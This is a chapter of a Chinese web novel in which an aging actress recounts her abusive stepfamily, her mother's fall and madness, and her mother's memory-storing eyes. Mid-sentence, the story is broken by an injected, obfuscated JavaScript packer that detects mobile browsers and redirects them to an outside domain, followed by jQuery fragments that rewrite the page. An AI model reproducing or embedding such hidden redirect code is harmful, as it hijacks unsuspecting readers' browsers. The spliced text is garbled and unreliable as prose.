“重组家庭，对于弱势方来说，是一件很考验运气的事。”观月唏嘘道，“当然，如果非要这么说的话，好像其实从出生开始，人生就是一件考验人类运气和勇气的事情。”
胡朵蕾在婚礼当天，才得知那个男的之前还有一个儿子。小男孩畏畏缩缩地藏在他爷爷身后，眼里却透着凶狠的光——至少给观月的观感是这样。
他们的家庭里没有直系的女性亲属，男孩的母亲和奶奶都死于同样的乳腺癌。
观月说：“那时候还没有发明出针对这种癌症的彻底治疗方法。实际上，直到我母亲也因此病去世十年后，彻底的疗法才全1027星推广。”
胡朵蕾是一位非常具有世俗意义上的“母性”的女士，她有强烈奉献牺牲精神，热衷托举他人。观月并不怀疑，就算男孩不是继子，她也会怜悯这样一个自幼失去妈妈的孩子，顺便可怜孩子他爸独自带孩子不容易。
但换个人，或许就会更在意没有血缘关系的孩子奶奶和妈妈，为何这么巧会因同一种癌症去世？
诚然乳腺癌并不具备传染性，可最初的乳腺结节受心情影响很大，也早是常识了。
“她总觉得，自己可以拯救他们。那个小崽子不学无术，在校惹是生非，她觉得是他过往缺乏母爱导致的，所以要用更多的爱感化他。”
“那个男的在追求期和新婚期确实对她不错。她就死心塌地了，又遇到真爱了，甚至都没那么恨风娲运动了，因为没有那一系列前因后果串下来，她就不会遇见那个男的。”
“但他们刚结婚半年吧，在胡朵蕾刚查出妊娠之后，某次只有我、她、小崽子在房子里的时候，小崽子开始故意在楼梯处哭闹、满地打滚。她尝试去拉他，结果自己反倒被绊下了楼梯……”
观月突然掏出了一副大到可以遮住她半张脸的墨镜戴上了。
“是‘被绊下’，不是意外。”她的音调和语气还是很正常，强调道，“我亲眼看见的。而且那个小崽子后来也私下当我面承认过，说他可不想再来一个和他分家产的。”
“可笑的是，他们家里其实根本没什么家产啊。别说家产了，很快家底都快没了。”她冷笑道，“胡朵蕾那次伤得太狠，按当时的诊断结果说是以后不能再生育。”
“那个男的以此为借口，说承受不了这么巨大的打击，开始酗酒、赌钱、在外鬼混发泄。我不能理解他承受了什么巨大的打击，孩子又不是在他肚子里活生生被害死、被处理掉的。但他喝多了上吐下泻，回来作威作福，善后处理的是还在‘小月子’期间拖着病体的胡朵蕾。”
“此后，小崽子作为房子里自认的唯一有继承权男孙，开始装都不装地作天作地。胡朵蕾大概是‘爱能止痛’的拥护者，她从未对他动手，但在我揍小崽子时却很严苛。”观月没有就胡朵蕾的“严苛”展开。
师染青忽然想起了小时候曾在电子杂志上见过的观月采访。
那时她刚出演过一部大爆的武侠剧。这部剧的大爆点之一就是其中精彩流畅的武打戏，而最为出彩的就是当时亲身上阵的女主角观月的高光部分，以至于她一度被赞誉为“新历纪元以来的最强刀马旦”。她在剧和花絮里，看起来是真的武功高强，而且是不用异能辅助的那种纯粹强大。
采访里，主持人询问她武打的天赋源自何处。当时的观月就曾提及，是小时候和人打架练出的自然反应。只是那时大多数人都以为她在开接地气的玩笑。
甚至后来那家人里的男孙出来爆料，说小时候一直活在继姐殴打的阴影里，信的人也很少。
可现在根据观月透露的这些信息来看，大约她当年真的也没少动手反抗。仅作为她的剧粉来看，师染青只能觉得太好了。
重组家庭没有善待她，但她还是奋起反抗，并在多年之后，将从反抗中积累的经验也成功用于了事业的攀升。她没有浪费自己人生的一点一滴。
“再后来，就是那个男的干出了很龌龊的事。因为我在他犯罪既遂前奋起反抗，导致他因为意外死亡而被迫犯罪中止。”观月冷静道，“经过当时的详细调查，根据法律，我被判无罪，但死者有罪。他死了也不能保住什么名誉，永远地刻在联邦相关法律的耻辱柱上。”
这件事不是秘密。当年自称观月“继弟”的男人出来爆料，控诉观月是仗着未成年的法律优待设局陷害，最终脱罪……曾经在当时的舆论界引起过轩然大波。但事发当时，1027星已经被联邦扶持得在这方面制度流程非常规范。
在观月的允许之下，当时甚至直接由风娲放出了女方全部打码、男方的脸纤毫毕现的监控视频。
最终舆论的压力落回了爆料人自己头上。而从观月选择公开监控之后，后续也有越来越多的受害者开始效仿，在相关官网上公布曾经的施暴者的面容，供世人认识避雷，当然，主要公布的还是在世的暴力者。
“胡朵蕾因此大受打击，当庭疯掉了。在此之前，她曾劝过我撤诉。更早之前，在我向她反应相关情况后，她曾劝我息事宁人。所以她刚疯掉时也很恨我，问死掉的为什么不是我。当时我十三岁。”
“再后来，我和她的母女缘分就是大家熟知的那段：在收养所和社会好心人士的帮助下，再加上课余兼职所得，我一边替她支付在精神病医院的费用支出，一边努力学习从中级学校毕业。不过在中学二年级，我十五岁时，她就去世了。”
“她在庭上被带走后，我们就再也没有见过面。她临终前，我也没有见到最后一面。据最后看护她的机器人采集的视频显示，最后那段时间，她曾多次口里喃喃我的名字。她下葬那天，负责她遗体处理的入殓师告诉我，胡朵蕾的眼睛很不寻常。”
“她其实是觉醒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909513|176891||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了异能的。甚至在她死后，她的眼睛也像存储器一样忠实地保留了她生前所有历经的画面。”
“我从医院那里得到了她入院以后的所有视频资料，也授权入殓师，依法保留了她的一双眼睛。”观月说着，手突然伸向自己的大衣口袋——
师染青一度担心她要从中直接取出保存多年的母亲的眼睛。
好在她只是掏出纸巾，从墨镜下沿伸进去拭了拭眼睛。
“在我母亲去世之后，我好像继承了她的‘一生’。”观月说。
但是她太忙了。十五岁的她，要消化即使对方活着也好像不怎么爱她，但她走了，她就一个亲人寄托也没有的悲伤，还要应付即将迎来毕业大考的学业，更要努力求生维持生存……
她没有空再去研究别人的一生，哪怕是她曾经深爱又深恨的母亲。
观月恨到一成年就去法院起诉，要求去掉那个既像跟随母亲，又像继承自父亲的姓氏。
可她谁也不想传承下去。胡男士不是好东西，胡朵蕾也没好到哪里去。当然，观月觉得自己同样也不怎么好。
所以，各有各坏的三个人最好从姓名开始就不要有什么牵连。
那一场起诉太引人瞩目，她也在庭上被经纪人注意到，从此新一条道路在她面前徐徐展开。
入行后，观月更是忙得昏天黑地。她一直没有触碰过母亲留下的记忆遗物，只是一直把她们带在身边。
直到去年——
“我已经八十多岁了。”观月道，“按现在标准好像才刚到中年的年轻年纪，但在我小时候的记忆里，这都是快入土的年纪了。这就导致，偶尔想起来我就会觉得，自己也已经很老了。”
而人到老年，就会很容易向记忆妥协，追忆往昔却更想执著地求一个答案。
所以观月最终阅读了她母亲的“眼睛”。
当天的直播结束。
*
观月起身离开前，习惯性地与工作人员一一握手。
“不知道今天的直播后，我算不算因为过于真实，而摧毁了在观众们眼中的偶像神格。”她说，“这数十年的荧幕形象积累，好像我应该是无所不能、无坚不摧的厉害大人。虽然倒霉，但又很幸运，一路好像都很顺利。但有朝一日我袒露的最真实的自己，却是一个执著母亲到底恋不恋爱脑、是不是真的爱我的，可悲女儿。也许有那么一点勇敢，但主要还是可悲。”
“您怎么会这么想？”师染青惊讶道，“一个不幸但分外勇敢，并最终打败了不幸、获得世俗意义上巨大成功的人，当然是天生的偶像。偶尔流露的真实脆弱，也只会为您虐粉固粉，再吸引一批新粉。”
“毕竟，运气不是自己选择的。但勇敢是自己可以掌握锤炼的。我认为您应该相信，在今天之后，向您学习变得越来越勇敢的人，会越来越多。”